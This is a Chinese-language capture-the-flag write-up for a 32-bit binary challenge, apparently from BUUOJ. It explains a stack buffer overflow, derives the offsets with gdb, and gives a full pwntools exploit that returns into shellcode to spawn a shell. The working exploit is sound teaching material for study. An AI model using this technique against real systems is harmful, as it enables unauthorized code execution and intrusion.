主要的漏洞点在这个函数内部的,chall栈的大小很大,足够写入shellcode,之后的vuln函数会将s的数据复制到vuln的栈上面,但是复制的数据量远远大于栈的长度,会造成栈溢出。
并且此函数的栈的地址直接打印出来,不用再去泄露栈地址,可以直接利用。
通过fgets写入shellcode,结合已经泄露的栈地址,在vuln里面改写返回地址,跳转到栈上的shellcode执行。
做之前先要找出相关的偏移量,使用gdb调试,第一个是输入字符串与返回地址之间的偏移。
使用gdb调试脚本到函数内部:
得到esp和ebp的值,然后通过搜寻字符串,得到字符串的位置:
通过计算:0xffccaf58 - 0xffccaf42 + 0x4 = 26
之后,查看栈中的数据,找到传入的payload位置和泄露出来的栈的位置相比,可以得到偏移量。
shellcode的位置:0xffccaf5c+4
泄露出来的栈的位置:0xffccaf7c
经过计算,得到偏移量0x1C。
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
#p = remote('node3.buuoj.cn', 26750)
#gdb.attach(p)
p.recvuntil('crash: ')
stack_addr = int(p.recv(10), 16)
p.recvuntil('> ')
payload = 'crashme\x00'
payload = payload.ljust(26, '\x00')
payload += p32(stack_addr-0x1C)
payload += asm(shellcraft.sh())
#p.sendline('crashme\x00'.ljust(10,'\x00')+'a'*10) #调试栈的偏移量
p.sendline(payload)
p.interactive()